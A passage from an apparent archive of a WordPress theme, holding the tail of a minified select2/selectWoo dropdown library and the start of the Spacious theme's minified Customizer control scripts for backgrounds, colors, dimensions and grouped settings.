r=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),e=a<i.top-r,a=l>i.bottom+r,l={left:i.left,top:s.bottom},i=this.$dropdownParent;"static"===i.css("position")&&(i=i.offsetParent());i=i.offset();l.top-=i.top,l.left-=i.left,t||n||(o="below"),a||!e||t?!e&&a&&t&&(o="below"):o="above",("above"==o||t&&"below"!==o)&&(l.top=s.top-i.top-r),null!=o&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+o),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+o)),this.$dropdownContainer.css(l)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),u.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,o){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,o)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,o=0;o<t.length;o++){var i=t[o];i.children?n+=e(i.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),u.define("select2/dropdown/selectOnClose",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("close",function(e){o._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}n=this.getHighlightedResults();n.length<1||(null!=(n=n.data("data")).element&&n.element.selected||null==n.element&&n.selected||this.trigger("select",{data:n}))},e}),u.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),t.on("select",function(e){o._selectTriggered(e)}),t.on("unselect",function(e){o._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&n.ctrlKey||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),u.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,e="Please delete "+t+" character";return 1!=t&&(e+="s"),e},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),u.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(u,d,p,h,f,g,m,y,v,_,$,t,w,b,A,x,E,O,C,S,T,D,q,L,j,P,k,I,e){function n(){this.reset()}return n.prototype.apply=function(t){var e,n;if(null==(t=u.extend(!0,{},this.defaults,t)).dataAdapter&&(null!=t.ajax?t.dataAdapter=A:null!=t.data?t.dataAdapter=b:t.dataAdapter=w,0<t.minimumInputLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,O)),0<t.maximumInputLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,C)),0<t.maximumSelectionLength&&(t.dataAdapter=_.Decorate(t.dataAdapter,S)),t.tags&&(t.dataAdapter=_.Decorate(t.dataAdapter,x)),null==t.tokenSeparators&&null==t.tokenizer||(t.dataAdapter=_.Decorate(t.dataAdapter,E)),null!=t.query&&(e=d(t.amdBase+"compat/query"),t.dataAdapter=_.Decorate(t.dataAdapter,e)),null!=t.initSelection&&(e=d(t.amdBase+"compat/initSelection"),t.dataAdapter=_.Decorate(t.dataAdapter,e))),null==t.resultsAdapter&&(t.resultsAdapter=p,null!=t.ajax&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,L)),null!=t.placeholder&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,q)),t.selectOnClose&&(t.resultsAdapter=_.Decorate(t.resultsAdapter,k))),null==t.dropdownAdapter&&(t.multiple?t.dropdownAdapter=T:(n=_.Decorate(T,D),t.dropdownAdapter=n),0!==t.minimumResultsForSearch&&(t.dropdownAdapter=_.Decorate(t.dropdownAdapter,P)),t.closeOnSelect&&(t.dropdownAdapter=_.Decorate(t.dropdownAdapter,I)),null==t.dropdownCssClass&&null==t.dropdownCss&&null==t.adaptDropdownCssClass||(n=d(t.amdBase+"compat/dropdownCss"),t.dropdownAdapter=_.Decorate(t.dropdownAdapter,n)),t.dropdownAdapter=_.Decorate(t.dropdownAdapter,j)),null==t.selectionAdapter&&(t.multiple?t.selectionAdapter=f:t.selectionAdapter=h,null!=t.placeholder&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,g)),t.allowClear&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,m)),t.multiple&&(t.selectionAdapter=_.Decorate(t.selectionAdapter,y)),null==t.containerCssClass&&null==t.containerCss&&null==t.adaptContainerCssClass||(l=d(t.amdBase+"compat/containerCss"),t.selectionAdapter=_.Decorate(t.selectionAdapter,l)),t.selectionAdapter=_.Decorate(t.selectionAdapter,v)),"string"==typeof t.language&&(0<t.language.indexOf("-")?(c=t.language.split("-")[0],t.language=[t.language,c]):t.language=[t.language]),u.isArray(t.language)){var o=new $;t.language.push("en");for(var i=t.language,s=0;s<i.length;s++){var r=i[s],a={};try{a=$.loadPath(r)}catch(e){try{r=this.defaults.amdLanguageBase+r,a=$.loadPath(r)}catch(e){t.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+r+'" could not be automatically loaded. A fallback will be used instead.');continue}}o.extend(a)}t.translations=o}else{var l=$.loadPath(this.defaults.amdLanguageBase+"en"),c=new $(t.language);c.extend(l),t.translations=c}return t},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:_.escapeMarkup,language:e,matcher:function e(t,n){if(""===u.trim(t.term))return n;if(n.children&&0<n.children.length){for(var o=u.extend(!0,{},n),i=n.children.length-1;0<=i;i--)null==e(t,n.children[i])&&o.children.splice(i,1);return 0<o.children.length?o:e(t,o)}var s=a(n.text).toUpperCase(),r=a(t.term).toUpperCase();return-1<s.indexOf(r)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.set=function(e,t){var n={};n[u.camelCase(e)]=t;n=_._convertData(n);u.extend(this.defaults,n)},new n}),u.define("select2/options",["require","jquery","./defaults","./utils"],function(n,s,o,r){function e(e,t){this.options=e,null!=t&&this.fromElement(t),this.options=o.apply(this.options),t&&t.is("input")&&(t=n(this.get("amdBase")+"compat/inputData"),this.options.dataAdapter=r.Decorate(this.options.dataAdapter,t))}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.language&&(e.prop("lang")?this.options.language=e.prop("lang").toLowerCase():e.closest("[lang]").prop("lang")&&(this.options.language=e.closest("[lang]").prop("lang"))),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),e.data("select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),e.data("data",e.data("select2Tags")),e.data("tags",!0)),e.data("ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",e.data("ajaxUrl")),e.data("ajax--url",e.data("ajaxUrl")));var n,o={},o=s.fn.jquery&&"1."==s.fn.jquery.substr(0,2)&&e[0].dataset?s.extend(!0,{},e[0].dataset,e.data()):e.data(),i=s.extend(!0,{},o);for(n in i=r._convertData(i))-1<s.inArray(n,t)||(s.isPlainObject(this.options[n])?s.extend(this.options[n],i[n]):this.options[n]=i[n]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),u.define("select2/core",["jquery","./options","./utils","./keys"],function(i,s,n,r){var a=function(e,t){null!=e.data("select2")&&e.data("select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new s(t,e),a.__super__.constructor.call(this);var n=e.attr("tabindex")||0;e.data("old-tabindex",n),e.attr("tabindex","-1");t=this.options.get("dataAdapter");this.dataAdapter=new t(e,this.options);n=this.render();this._placeContainer(n);t=this.options.get("selectionAdapter");this.selection=new t(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,n);t=this.options.get("dropdownAdapter");this.dropdown=new t(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,n);n=this.options.get("resultsAdapter");this.results=new n(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var o=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){o.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),e.data("select2",this)};return n.Extend(a,n.Observable),a.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+n.generateChars(2):n.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},a.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},a.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var o=this._resolveWidth(e,"style");return null!=o?o:this._resolveWidth(e,"element")}if("element"==t){o=e.outerWidth(!1);return o<=0?"auto":o+"px"}if("style"!=t)return t;e=e.attr("style");if("string"!=typeof e)return null;for(var i=e.split(";"),s=0,r=i.length;s<r;s+=1){var a=i[s].replace(/\s/g,"").match(n);if(null!==a&&1<=a.length)return a[1]}return null},a.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},a.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=n.bind(this._syncAttributes,this),this._syncS=n.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){i.each(e,t._syncA),i.each(e,t._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},a.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerSelectionEvents=function(){var n=this,o=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===i.inArray(e,o)&&n.trigger(e,t)})},a.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},a.prototype._registerEvents=function(){var o=this;this.on("open",function(){o.$container.addClass("select2-container--open")}),this.on("close",function(){o.$container.removeClass("select2-container--open")}),this.on("enable",function(){o.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){o.$container.addClass("select2-container--disabled")}),this.on("blur",function(){o.$container.removeClass("select2-container--focus")}),this.on("query",function(t){o.isOpen()||o.trigger("open",{}),this.dataAdapter.query(t,function(e){o.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){o.trigger("results:append",{data:e,query:t})})}),this.on("open",function(){setTimeout(function(){o.focusOnActiveElement()},1)}),i(document).on("keydown",function(e){var t,n=e.which;o.isOpen()?(n===r.ESC||n===r.UP&&e.altKey?(o.close(),e.preventDefault()):n===r.ENTER||n===r.TAB?(o.trigger("results:select",{}),e.preventDefault()):n===r.SPACE&&e.ctrlKey?(o.trigger("results:toggle",{}),e.preventDefault()):n===r.UP?(o.trigger("results:previous",{}),e.preventDefault()):n===r.DOWN&&(o.trigger("results:next",{}),e.preventDefault()),(t=o.$dropdown.find(".select2-search__field")).length||(t=o.$container.find(".select2-search__field")),n===r.DOWN||n===r.UP?o.focusOnActiveElement():(t.focus(),setTimeout(function(){o.focusOnActiveElement()},1e3))):o.hasFocus()&&(n!==r.ENTER&&n!==r.SPACE&&n!==r.DOWN||(o.open(),e.preventDefault()))})},a.prototype.focusOnActiveElement=function(){this.isOpen()&&!n.isTouchscreen()&&this.$results.find("li.select2-results__option--highlighted").focus()},a.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},a.prototype._syncSubtree=function(e,t){var n=!1,o=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var i=0;i<t.addedNodes.length;i++){t.addedNodes[i].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length&&(n=!0);else n=!0;n&&this.dataAdapter.current(function(e){o.trigger("selection:update",{data:e})})}},a.prototype.trigger=function(e,t){var n=a.__super__.trigger,o={open:"opening",close:"closing",select:"selecting",unselect:"unselecting"};if(void 0===t&&(t={}),e in o){var i=o[e],o={prevented:!1,name:e,args:t};if(n.call(this,i,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},a.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},a.prototype.open=function(){this.isOpen()||this.trigger("query",{})},a.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},a.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},a.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},a.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},a.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);e=!e[0];this.$element.prop("disabled",e)},a.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},a.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();e=e[0];i.isArray(e)&&(e=i.map(e,function(e){return e.toString()})),this.$element.val(e).trigger("change")},a.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",this.$element.data("old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},a.prototype.render=function(){var e=i('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),e.data("element",this.$element),e},a}),u.define("jquery-mousewheel",["jquery"],function(e){return e}),u.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults"],function(i,e,s,t){var r;return null==i.fn.selectWoo&&(r=["open","close","destroy"],i.fn.selectWoo=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=i.extend(!0,{},t);new s(i(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,o=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=i(this).data("select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,o)}),-1<i.inArray(t,r)?this:n}),null!=i.fn.select2&&null!=i.fn.select2.defaults&&(i.fn.selectWoo.defaults=i.fn.select2.defaults),null==i.fn.selectWoo.defaults&&(i.fn.selectWoo.defaults=t),i.fn.select2=i.fn.select2||i.fn.selectWoo,s}),{define:u.define,require:u.require});function w(e,t){return i.call(e,t)}function l(e,t){var n,o,i,s,r,a,l,c,u,d,p=t&&t.split("/"),h=y.map,f=h&&h["*"]||{};if(e){for(t=(e=e.split("/")).length-1,y.nodeIdCompat&&_.test(e[t])&&(e[t]=e[t].replace(_,"")),"."===e[0].charAt(0)&&p&&(e=p.slice(0,p.length-1).concat(e)),c=0;c<e.length;c++)"."===(d=e[c])?(e.splice(c,1),--c):".."===d&&(0===c||1===c&&".."===e[2]||".."===e[c-1]||0<c&&(e.splice(c-1,2),c-=2));e=e.join("/")}if((p||f)&&h){for(c=(n=e.split("/")).length;0<c;--c){if(o=n.slice(0,c).join("/"),p)for(u=p.length;0<u;--u)if(i=(i=h[p.slice(0,u).join("/")])&&i[o]){s=i,r=c;break}if(s)break;!a&&f&&f[o]&&(a=f[o],l=c)}!s&&a&&(s=a,r=l),s&&(n.splice(0,r,s),e=n.join("/"))}return e}function b(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),r.apply(p,e.concat([t,n]))}}function A(e){var t;if(w(m,e)&&(t=m[e],delete m[e],v[e]=!0,s.apply(p,t)),!w(g,e)&&!w(v,e))throw new Error("No "+e);return g[e]}function c(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function x(e){return e?c(e):[]}var u=o.require("jquery.select2");return t.fn.select2.amd=o,t.fn.selectWoo.amd=o,u});core/custom-controls/assets/js/customize-controls.min.js000066600000070046152367043330017611 0ustar00!function(t){t(window).on("load",function(){t("html").addClass("colorpicker-ready")}),wp.customize.controlConstructor["spacious-background"]=wp.customize.Control.extend({ready:function(){"use strict";this.initSpaciousBackgroundControl()},initSpaciousBackgroundControl:function(){var i=this,t=i.setting._value,e=i.container.find(".spacious-color-picker-alpha");!_.isUndefined(t["background-image"])&&""!==t["background-image"]||(i.container.find(".customize-control-content > .background-repeat").hide(),i.container.find(".customize-control-content > .background-position").hide(),i.container.find(".customize-control-content > .background-size").hide(),i.container.find(".customize-control-content > .background-attachment").hide()),e.wpColorPicker({change:function(){jQuery("html").hasClass("colorpicker-ready")&&setTimeout(function(){i.saveValue("background-color",e.val())},100)},clear:function(t){jQuery(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0]&&i.saveValue("background-color","")}}),i.container.on("click",".background-image-upload-button, .thumbnail-image img",function(t){var o=wp.media({multiple:!1}).open().on("select",function(){var t,e=o.state().get("selection").first(),n=e.toJSON().sizes.full.url;_.isUndefined(e.toJSON().sizes.medium)?_.isUndefined(e.toJSON().sizes.thumbnail)||(n=e.toJSON().sizes.thumbnail.url):n=e.toJSON().sizes.medium.url,t=e.toJSON().sizes.full.url,e.toJSON().id,e.toJSON().width,e.toJSON().height,""!==t&&i.container.find(".customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment").show(),i.saveValue("background-image",t),e=i.container.find(".placeholder, .thumbnail"),t=i.container.find(".background-image-upload-remove-button"),e.length&&e.removeClass().addClass("thumbnail thumbnail-image").html('<img src="'+n+'" alt="" />'),t.length&&t.show()});t.preventDefault()}),i.container.on("click",".background-image-upload-remove-button",function(t){var e;t.preventDefault(),i.saveValue("background-image",""),e=i.container.find(".placeholder, .thumbnail"),t=i.container.find(".background-image-upload-remove-button"),i.container.find(".customize-control-content > .background-repeat").hide(),i.container.find(".customize-control-content > .background-position").hide(),i.container.find(".customize-control-content > .background-size").hide(),i.container.find(".customize-control-content > .background-attachment").hide(),e.length&&e.removeClass().addClass("placeholder").html(SpaciousCustomizerControlBackground.placeholder),t.length&&t.hide()}),i.container.on("change",".background-repeat select",function(){i.saveValue("background-repeat",jQuery(this).val())}),i.container.on("change",".background-position select",function(){i.saveValue("background-position",jQuery(this).val())}),i.container.on("change",".background-size select",function(){i.saveValue("background-size",jQuery(this).val())}),i.container.on("change",".background-attachment select",function(){i.saveValue("background-attachment",jQuery(this).val())})},saveValue:function(t,e){var n=this,o=jQuery("#customize-control-"+n.id.replace("[","-").replace("]","")+" .background-hidden-value"),i=n.setting._value;i[t]=e,jQuery(o).attr("value",JSON.stringify(i)).trigger("change"),n.setting.set(i)}})}(jQuery),wp.customize.controlConstructor["spacious-buttonset"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}}),function(t){t(window).on("load",function(){t("html").addClass("colorpicker-ready")}),wp.customize.controlConstructor["spacious-color"]=wp.customize.Control.extend({ready:function(){"use strict";var n=this;this.container.find(".spacious-color-picker-alpha").wpColorPicker({change:function(t,e){e=e.color.toString();jQuery("html").hasClass("colorpicker-ready")&&n.setting.set(e)}})}})}(jQuery),wp.customize.controlConstructor["spacious-dimensions"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.container.on("change keyup paste input",".top input",function(){t.updateTop()}),t.container.on("change keyup paste input",".right input",function(){t.updateRight()}),t.container.on("change keyup paste input",".left input",function(){t.updateLeft()}),t.container.on("change keyup paste input",".bottom input",function(){t.updateBottom()})},updateTop:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={top:{}};t.container.find(".top .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.top=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateRight:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={right:{}};t.container.find(".right .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.right=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateBottom:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={bottom:{}};t.container.find(".bottom .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.bottom=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateLeft:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={left:{}};t.container.find(".left .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.left=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)}}),wp.customize.controlConstructor["spacious-dropdown-categories"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("change","select",function(){t.setting.set(jQuery(this).val())})}}),wp.customize.controlConstructor["spacious-editor"]=wp.customize.Control.extend({ready:function(){"use strict";var t="editor_"+this.id;wp.editor.initialize(t,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0})},onChangeActive:function(t,e){"use strict";var n=this,o="editor_"+n.id,i=n.container.find("textarea"),a=tinyMCE.get(o);a&&a.onChange.add(function(t){t.save(),t=a.getContent(),i.val(t).trigger("change"),wp.customize.instance(n.id).set(t)})}}),function(r){wp.customize.controlConstructor["spacious-fontawesome"]=wp.customize.Control.extend({ready:function(){"use strict";this.initSpaciousFontawesomeControl()},initSpaciousFontawesomeControl:function(){var t=this,e=t.selector,n=r(e).find("select"),o=[],i=t.setting._value,e=window["SpaciousCustomizerControlFontawesome"+this.id],a=0;r.each(e,function(t,e){o[a]={id:e,text:e},a++}),(e=n.selectWoo({data:o,width:"100%",templateResult:function(t){return t.id?r('<span><i class="fa fa-lg '+t.text+'"></i> '+t.text+"</span>"):t.text}})).val(i).trigger("change"),e.on("change",function(){t.setting.set(n.val())})}})}(jQuery),function(u){wp.customize.controlConstructor["spacious-group"]=wp.customize.Control.extend({ready:function(){"use strict";this.registerToggleEvents(),this.container.on("spacious_settings_changed",this.onOptionChange)},registerToggleEvents:function(){var a=this;u(".wp-full-overlay-sidebar-content").click(function(t){u(t.target).closest(".spacious-field-settings-modal").length||u(".spacious-group-toggle-icon.open").trigger("click")}),a.container.on("click",".spacious-group-wrap .spacious-group-toggle-icon",function(t){t.preventDefault(),t.stopPropagation();var e=u(this),n=e.closest(".customize-control-spacious-group"),o=n.find(".spacious-field-settings-modal").data("loaded"),i=n.parents(".control-section");e.hasClass("open")?n.find(".spacious-field-settings-modal").hide():(0<(t=i.find(".spacious-group-toggle-icon.open")).length&&t.trigger("click"),o?n.find(".spacious-field-settings-modal").show():(i=a.params.spacious_fields,t=u(SpaciousCustomizerControlGroup.group_modal_tmpl),o=u("#customize-footer-actions .active").attr("data-device"),n.find(".spacious-field-settings-wrap").append(t),n.find(".spacious-fields-wrap").attr("data-control",a.params.name),a.spacious_render_field(n,i,a),n.find(".spacious-field-settings-modal").show(),"mobile"===o?(u(".control-wrap.mobile").addClass("active"),u(".responsive-switchers .preview-mobile").addClass("active"),u(".control-wrap.tablet, .control-wrap.desktop").removeClass("active"),u(".responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop").removeClass("active")):"tablet"===o?(u(".control-wrap.tablet").addClass("active"),u(".responsive-switchers .preview-tablet").addClass("active"),u(".control-wrap.mobile, .control-wrap.desktop").removeClass("active"),u(".responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop").removeClass("active")):(u(".control-wrap.desktop").addClass("active"),u(".responsive-switchers .preview-desktop").addClass("active"),u(".control-wrap.mobile, .control-wrap.tablet").removeClass("active"),u(".responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet").removeClass("active")))),e.toggleClass("open")}),a.container.on("click",".spacious-group-wrap > .customizer-text",function(t){t.preventDefault(),t.stopPropagation(),u(this).find(".spacious-group-toggle-icon").trigger("click")})},spacious_render_field:function(t,e,n){var o,i=this,a=t.find(".spacious-fields-wrap"),r="",c=[],s=i.isJSONString(n.params.value)?JSON.parse(n.params.value):{};void 0!==e.tabs?(o=0,r+='<div id="'+n.params.name+'-tabs" class="spacious-group-tabs">',r+='<ul class="spacious-group-list">',_.each(e.tabs,function(t,e){r+='<li class="'+(0===o?"active":"")+'"><a href="#tab-'+e.replace(" ","-")+'"><span>'+e+"</span></a></li>",o++}),r+="</ul>",r+='<div class="spacious-tab-content" >',_.each(e.tabs,function(t,e){t=i.generateFieldHtml(t,s);r+='<div id="tab-'+e.replace(" ","-")+'" class="tab">',r+=t.html,_.each(t.controls,function(t,e){c.push({key:t.key,value:t.value,name:t.name})}),r+="</div>"}),r+="</div>",r+="</div>",a.html(r),u("#"+n.params.name+"-tabs").tabs()):(e=i.generateFieldHtml(e,s),r+=e.html,_.each(e.controls,function(t,e){c.push({key:t.key,value:t.value,name:t.name})}),a.html(r)),_.each(c,function(t,e){switch(t.key){case"spacious-color":i.initColorControl(a,n,t.name);break;case"spacious-background":i.initBackgroundControl(n,t,t.name);break;case"spacious-typography":i.initTypographyControl(n,t,t.name)}}),t.find(".spacious-field-settings-modal").data("loaded",!0)},isJSONString:function(t){try{JSON.parse(t)}catch(t){return!1}return!0},generateFieldHtml:function(t,e){var c="",s=[];_.each(t,function(t,e){var n=wp.customize.control(t.name)?wp.customize.control(t.name).params.value:"",o=t.control,i="customize-control-"+o+"-content",i=wp.template(i),n=n||t.default,a="",r="";t.value=n,t.title=t.label,_.each(t.data_attrs,function(t,e){a+=" data-"+e+' ="'+t+'"'}),_.each(t.input_attrs,function(t,e){r+=e+' ="'+t+'"'}),t.dataAttrs=a,t.inputAttrs=r,s.push({key:o,value:n,name:t.name});o="",n=["spacious-typography"];"spacious-typography"===t.control&&n.includes(t.control)&&(t.languages=SpaciousCustomizerControlTypographySubsets),n.includes(t.control)&&(o="has-responsive-switchers"),c+='<li 